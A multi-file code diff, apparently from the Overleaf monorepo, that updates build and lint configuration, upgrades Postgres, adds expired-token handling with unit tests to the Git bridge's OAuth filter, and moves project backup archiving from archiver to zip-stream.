RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
document-updater
|
document-updater
|
||||||
--dependencies=mongo,redis
|
--dependencies=mongo,redis
|
||||||
|
--deploy-pipeline=document-updater
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -0,0 +1,3 @@
|
|||||||
|
declare module 'mongodb-legacy' {
|
||||||
|
export * from 'mongodb'
|
||||||
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -53,6 +53,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -66,8 +70,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
filestore
|
filestore
|
||||||
--data-dirs=uploads,template_files
|
--data-dirs=uploads,template_files
|
||||||
--dependencies=s3,gcs
|
--dependencies=s3,gcs
|
||||||
|
--deploy-pipeline=filestore-readonly
|
||||||
--env-add=ENABLE_CONVERSIONS=true,USE_PROM_METRICS=true,AWS_S3_USER_FILES_STORAGE_CLASS=REDUCED_REDUNDANCY,AWS_S3_USER_FILES_BUCKET_NAME=fake-user-files,AWS_S3_USER_FILES_DEK_BUCKET_NAME=fake-user-files-dek,AWS_S3_TEMPLATE_FILES_BUCKET_NAME=fake-template-files,GCS_USER_FILES_BUCKET_NAME=fake-gcs-user-files,GCS_TEMPLATE_FILES_BUCKET_NAME=fake-gcs-template-files
|
--env-add=ENABLE_CONVERSIONS=true,USE_PROM_METRICS=true,AWS_S3_USER_FILES_STORAGE_CLASS=REDUCED_REDUNDANCY,AWS_S3_USER_FILES_BUCKET_NAME=fake-user-files,AWS_S3_USER_FILES_DEK_BUCKET_NAME=fake-user-files-dek,AWS_S3_TEMPLATE_FILES_BUCKET_NAME=fake-template-files,GCS_USER_FILES_BUCKET_NAME=fake-gcs-user-files,GCS_TEMPLATE_FILES_BUCKET_NAME=fake-gcs-template-files
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -15,6 +15,10 @@ IMAGE_REPO_BRANCH ?= $(IMAGE_REPO):$(BRANCH_NAME_TAG_SAFE)
|
|||||||
IMAGE_REPO_MAIN ?= $(IMAGE_REPO):main
|
IMAGE_REPO_MAIN ?= $(IMAGE_REPO):main
|
||||||
IMAGE_REPO_FINAL ?= $(IMAGE_REPO_BRANCH)-$(BUILD_NUMBER)
|
IMAGE_REPO_FINAL ?= $(IMAGE_REPO_BRANCH)-$(BUILD_NUMBER)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
runtime-conf:
|
runtime-conf:
|
||||||
/opt/envsubst < conf/envsubst_template.json > conf/runtime.json
|
/opt/envsubst < conf/envsubst_template.json > conf/runtime.json
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,10 @@ import com.google.api.client.http.GenericUrl;
|
|||||||
import com.google.api.client.http.HttpHeaders;
|
import com.google.api.client.http.HttpHeaders;
|
||||||
import com.google.api.client.http.HttpRequest;
|
import com.google.api.client.http.HttpRequest;
|
||||||
import com.google.api.client.http.HttpResponse;
|
import com.google.api.client.http.HttpResponse;
|
||||||
|
import com.google.gson.Gson;
|
||||||
|
import com.google.gson.JsonElement;
|
||||||
|
import com.google.gson.JsonObject;
|
||||||
|
import com.google.gson.JsonSyntaxException;
|
||||||
import jakarta.servlet.*;
|
import jakarta.servlet.*;
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
@@ -107,15 +111,18 @@ public class Oauth2Filter implements Filter {
|
|||||||
// fail later (for example, in the unlikely event that the token
|
// fail later (for example, in the unlikely event that the token
|
||||||
// expired between the two requests). In that case, JGit will
|
// expired between the two requests). In that case, JGit will
|
||||||
// return a 401 without a custom error message.
|
// return a 401 without a custom error message.
|
||||||
int statusCode = checkAccessToken(this.oauth2Server, password, getClientIp(request));
|
AccessTokenCheck check = checkAccessToken(this.oauth2Server, password, getClientIp(request));
|
||||||
if (statusCode == 429) {
|
if (check.statusCode == 429) {
|
||||||
handleRateLimit(projectId, username, request, response);
|
handleRateLimit(projectId, username, request, response);
|
||||||
return;
|
return;
|
||||||
} else if (statusCode == 401) {
|
} else if (check.statusCode == 401 && "token_expired".equals(check.errorCode)) {
|
||||||
|
handleExpiredAccessToken(projectId, request, response);
|
||||||
|
return;
|
||||||
|
} else if (check.statusCode == 401) {
|
||||||
handleBadAccessToken(projectId, request, response);
|
handleBadAccessToken(projectId, request, response);
|
||||||
return;
|
return;
|
||||||
} else if (statusCode >= 400) {
|
} else if (check.statusCode >= 400) {
|
||||||
handleUnknownOauthServerError(projectId, statusCode, request, response);
|
handleUnknownOauthServerError(projectId, check.statusCode, request, response);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
cred.setAccessToken(password);
|
cred.setAccessToken(password);
|
||||||
@@ -229,8 +236,52 @@ public class Oauth2Filter implements Filter {
|
|||||||
"https://www.overleaf.com/learn/how-to/Git_integration"));
|
"https://www.overleaf.com/learn/how-to/Git_integration"));
|
||||||
}
|
}
|
||||||
|
|
||||||
private int checkAccessToken(String oauth2Server, String accessToken, String clientIp)
|
private void handleExpiredAccessToken(
|
||||||
|
String projectId, HttpServletRequest request, HttpServletResponse response)
|
||||||
throws IOException {
|
throws IOException {
|
||||||
|
Log.debug("[{}] Expired access token, ip={}", projectId, getClientIp(request));
|
||||||
|
sendResponse(
|
||||||
|
response,
|
||||||
|
401,
|
||||||
|
Arrays.asList(
|
||||||
|
"Your Overleaf Git authentication token has expired.",
|
||||||
|
"",
|
||||||
|
"Generate a new authentication token in your Overleaf Account Settings,",
|
||||||
|
"then run the git command again."));
|
||||||
|
}
|
||||||
|
|
||||||
|
static class AccessTokenCheck {
|
||||||
|
final int statusCode;
|
||||||
|
final String errorCode;
|
||||||
|
|
||||||
|
AccessTokenCheck(int statusCode, String errorCode) {
|
||||||
|
this.statusCode = statusCode;
|
||||||
|
this.errorCode = errorCode;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static String parseErrorCode(String body) {
|
||||||
|
if (body == null || body.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
JsonElement element = new Gson().fromJson(body, JsonElement.class);
|
||||||
|
if (element == null || !element.isJsonObject()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
JsonObject obj = element.getAsJsonObject();
|
||||||
|
JsonElement codeElement = obj.get("error_code");
|
||||||
|
if (codeElement == null || codeElement.isJsonNull()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return codeElement.getAsString();
|
||||||
|
} catch (JsonSyntaxException | UnsupportedOperationException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private AccessTokenCheck checkAccessToken(
|
||||||
|
String oauth2Server, String accessToken, String clientIp) throws IOException {
|
||||||
GenericUrl url = new GenericUrl(oauth2Server + "/oauth/token/info?client_ip=" + clientIp);
|
GenericUrl url = new GenericUrl(oauth2Server + "/oauth/token/info?client_ip=" + clientIp);
|
||||||
HttpRequest request = Instance.httpRequestFactory.buildGetRequest(url);
|
HttpRequest request = Instance.httpRequestFactory.buildGetRequest(url);
|
||||||
HttpHeaders headers = new HttpHeaders();
|
HttpHeaders headers = new HttpHeaders();
|
||||||
@@ -239,8 +290,12 @@ public class Oauth2Filter implements Filter {
|
|||||||
request.setThrowExceptionOnExecuteError(false);
|
request.setThrowExceptionOnExecuteError(false);
|
||||||
HttpResponse response = request.execute();
|
HttpResponse response = request.execute();
|
||||||
int statusCode = response.getStatusCode();
|
int statusCode = response.getStatusCode();
|
||||||
|
String errorCode = null;
|
||||||
|
if (statusCode >= 400 && statusCode < 500) {
|
||||||
|
errorCode = parseErrorCode(response.parseAsString());
|
||||||
|
}
|
||||||
response.disconnect();
|
response.disconnect();
|
||||||
return statusCode;
|
return new AccessTokenCheck(statusCode, errorCode);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void handleUnknownOauthServerError(
|
private void handleUnknownOauthServerError(
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package uk.ac.ic.wlgitbridge.server;
|
||||||
|
|
||||||
|
import org.junit.Assert;
|
||||||
|
import org.junit.Test;
|
||||||
|
|
||||||
|
public class Oauth2FilterTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsTokenExpired_whenBodyContainsIt() {
|
||||||
|
String body = "{\"error\":\"invalid_token\",\"error_code\":\"token_expired\"}";
|
||||||
|
Assert.assertEquals("token_expired", Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsTokenInvalid_whenBodyContainsIt() {
|
||||||
|
String body = "{\"error\":\"invalid_token\",\"error_code\":\"token_invalid\"}";
|
||||||
|
Assert.assertEquals("token_invalid", Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenErrorCodeFieldIsMissing() {
|
||||||
|
String body = "{\"error\":\"invalid_token\"}";
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsNull() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(null));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsEmpty() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(""));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsNotJson() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode("not json at all"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsJsonArray() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode("[1, 2, 3]"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenErrorCodeFieldIsJsonNull() {
|
||||||
|
String body = "{\"error\":\"invalid_token\",\"error_code\":null}";
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
archive/
|
|
||||||
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -59,6 +59,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -71,8 +75,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
history-v1
|
history-v1
|
||||||
--dependencies=postgres,gcs,mongo,redis,s3
|
--dependencies=postgres,gcs,mongo,redis,s3
|
||||||
|
--deploy-pipeline=history-v1
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -109,7 +109,7 @@ services:
|
|||||||
- mongo:127.0.0.1
|
- mongo:127.0.0.1
|
||||||
|
|
||||||
postgres:
|
postgres:
|
||||||
image: postgres:10
|
image: postgres:14
|
||||||
environment:
|
environment:
|
||||||
POSTGRES_USER: overleaf
|
POSTGRES_USER: overleaf
|
||||||
POSTGRES_PASSWORD: overleaf
|
POSTGRES_PASSWORD: overleaf
|
||||||
|
|||||||
@@ -124,7 +124,7 @@ services:
|
|||||||
- mongo:127.0.0.1
|
- mongo:127.0.0.1
|
||||||
|
|
||||||
postgres:
|
postgres:
|
||||||
image: postgres:10
|
image: postgres:14
|
||||||
environment:
|
environment:
|
||||||
POSTGRES_USER: overleaf
|
POSTGRES_USER: overleaf
|
||||||
POSTGRES_PASSWORD: overleaf
|
POSTGRES_PASSWORD: overleaf
|
||||||
|
|||||||
@@ -44,7 +44,8 @@
|
|||||||
"temp": "^0.8.3",
|
"temp": "^0.8.3",
|
||||||
"throng": "^4.0.0",
|
"throng": "^4.0.0",
|
||||||
"tsscmp": "^1.0.6",
|
"tsscmp": "^1.0.6",
|
||||||
"utf-8-validate": "^5.0.4"
|
"utf-8-validate": "^5.0.4",
|
||||||
|
"zip-stream": "^7.0.2"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@overleaf/migrations": "workspace:*",
|
"@overleaf/migrations": "workspace:*",
|
||||||
|
|||||||
@@ -185,13 +185,30 @@ class BackupBlobStore {
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @typedef {(import('archiver').Archiver)} Archiver
|
* @typedef {(import('zip-stream').default)} ZipStream
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @typedef {(import('overleaf-editor-core').FileMap)} FileMap
|
* @typedef {(import('overleaf-editor-core').FileMap)} FileMap
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Promisified wrapper for ZipStream's entry method.
|
||||||
|
*
|
||||||
|
* @param {ZipStream} archive
|
||||||
|
* @param {Buffer|NodeJS.ReadableStream|string} source
|
||||||
|
* @param {{ name: string }} data
|
||||||
|
* @return {Promise<void>}
|
||||||
|
*/
|
||||||
|
function addEntry(archive, source, data) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
archive.entry(source, data, err => {
|
||||||
|
if (err) reject(err)
|
||||||
|
else resolve()
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
* @param historyId
|
* @param historyId
|
||||||
@@ -254,14 +271,15 @@ async function fetchBlob(historyId, hash, persistor) {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @typedef {object} AddChunkOptions
|
* @typedef {object} AddChunkOptions
|
||||||
* @property {string} [prefix] Should include trailing slash (if length > 0)
|
* @property {string} [prefix]
|
||||||
* @property {boolean} [useBackupGlobalBlobs]
|
* @property {boolean} [useBackupGlobalBlobs]
|
||||||
|
* @property {boolean} [verbose]
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
* @param {History} history
|
* @param {History} history
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {AddChunkOptions} [options]
|
* @param {AddChunkOptions} [options]
|
||||||
@@ -272,7 +290,7 @@ async function addChunkToArchive(
|
|||||||
archive,
|
archive,
|
||||||
projectCache,
|
projectCache,
|
||||||
historyId,
|
historyId,
|
||||||
{ prefix = '', useBackupGlobalBlobs = false } = {}
|
{ prefix = '', useBackupGlobalBlobs = false, verbose = false } = {}
|
||||||
) {
|
) {
|
||||||
const chunkBlobs = new Set()
|
const chunkBlobs = new Set()
|
||||||
history.findBlobHashes(chunkBlobs)
|
history.findBlobHashes(chunkBlobs)
|
||||||
@@ -334,9 +352,16 @@ async function addChunkToArchive(
|
|||||||
}
|
}
|
||||||
content = await blobStore.getStream(hash)
|
content = await blobStore.getStream(hash)
|
||||||
}
|
}
|
||||||
archive.append(content, {
|
if (content == null) {
|
||||||
|
logger.error({ filePath }, 'File content is empty')
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
await addEntry(archive, content, {
|
||||||
name: `${prefix}${filePath}`,
|
name: `${prefix}${filePath}`,
|
||||||
})
|
})
|
||||||
|
if (verbose) {
|
||||||
|
logger.info({ filePath: `${prefix}${filePath}` }, 'added to archive')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -358,17 +383,20 @@ async function findStartVersionOfLatestChunk(historyId) {
|
|||||||
/**
|
/**
|
||||||
* Restore a project from the latest snapshot
|
* Restore a project from the latest snapshot
|
||||||
*
|
*
|
||||||
* There is an assumption that the database backup has been restored.
|
* There is an assumption that the database backup
|
||||||
|
* has been restored.
|
||||||
*
|
*
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {boolean} [useBackupGlobalBlobs]
|
* @param {boolean} [useBackupGlobalBlobs]
|
||||||
|
* @param {boolean} [verbose]
|
||||||
* @return {Promise<void>}
|
* @return {Promise<void>}
|
||||||
*/
|
*/
|
||||||
export async function archiveLatestChunk(
|
export async function archiveLatestChunk(
|
||||||
archive,
|
archive,
|
||||||
historyId,
|
historyId,
|
||||||
useBackupGlobalBlobs = false
|
useBackupGlobalBlobs = false,
|
||||||
|
verbose = false
|
||||||
) {
|
) {
|
||||||
logger.info({ historyId, useBackupGlobalBlobs }, 'Archiving latest chunk')
|
logger.info({ historyId, useBackupGlobalBlobs }, 'Archiving latest chunk')
|
||||||
|
|
||||||
@@ -386,20 +414,28 @@ export async function archiveLatestChunk(
|
|||||||
|
|
||||||
await addChunkToArchive(backedUpChunk, archive, projectCache, historyId, {
|
await addChunkToArchive(backedUpChunk, archive, projectCache, historyId, {
|
||||||
useBackupGlobalBlobs,
|
useBackupGlobalBlobs,
|
||||||
|
verbose,
|
||||||
})
|
})
|
||||||
|
|
||||||
return archive
|
return archive
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Fetches all raw blobs from the project and adds them to the archive.
|
* Fetches all raw blobs from the project and adds
|
||||||
|
* them to the archive.
|
||||||
*
|
*
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
||||||
|
* @param {boolean} [verbose]
|
||||||
* @return {Promise<void>}
|
* @return {Promise<void>}
|
||||||
*/
|
*/
|
||||||
async function addRawBlobsToArchive(historyId, archive, projectCache) {
|
async function addRawBlobsToArchive(
|
||||||
|
historyId,
|
||||||
|
archive,
|
||||||
|
projectCache,
|
||||||
|
verbose = false
|
||||||
|
) {
|
||||||
const blobKeys = await projectCache.listDirectoryKeys(
|
const blobKeys = await projectCache.listDirectoryKeys(
|
||||||
projectBlobsBucket,
|
projectBlobsBucket,
|
||||||
projectKey.format(historyId)
|
projectKey.format(historyId)
|
||||||
@@ -411,9 +447,13 @@ async function addRawBlobsToArchive(historyId, archive, projectCache) {
|
|||||||
key,
|
key,
|
||||||
{ autoGunzip: true }
|
{ autoGunzip: true }
|
||||||
)
|
)
|
||||||
archive.append(stream, {
|
const entryName = path.join(historyId, 'blobs', key)
|
||||||
name: path.join(historyId, 'blobs', key),
|
await addEntry(archive, stream, {
|
||||||
|
name: entryName,
|
||||||
})
|
})
|
||||||
|
if (verbose) {
|
||||||
|
logger.info({ entryName }, 'added to archive')
|
||||||
|
}
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
logger.warn({ err, path: key }, 'Failed to append blob to archive')
|
logger.warn({ err, path: key }, 'Failed to append blob to archive')
|
||||||
}
|
}
|
||||||
@@ -425,17 +465,20 @@ async function addRawBlobsToArchive(historyId, archive, projectCache) {
|
|||||||
*
|
*
|
||||||
* This can work without the database being backed up.
|
* This can work without the database being backed up.
|
||||||
*
|
*
|
||||||
* It will split the project into chunks per directory and download the blobs alongside the chunk.
|
* It will split the project into chunks per directory
|
||||||
|
* and download the blobs alongside the chunk.
|
||||||
*
|
*
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {boolean} [useBackupGlobalBlobs]
|
* @param {boolean} [useBackupGlobalBlobs]
|
||||||
|
* @param {boolean} [verbose]
|
||||||
* @return {Promise<void>}
|
* @return {Promise<void>}
|
||||||
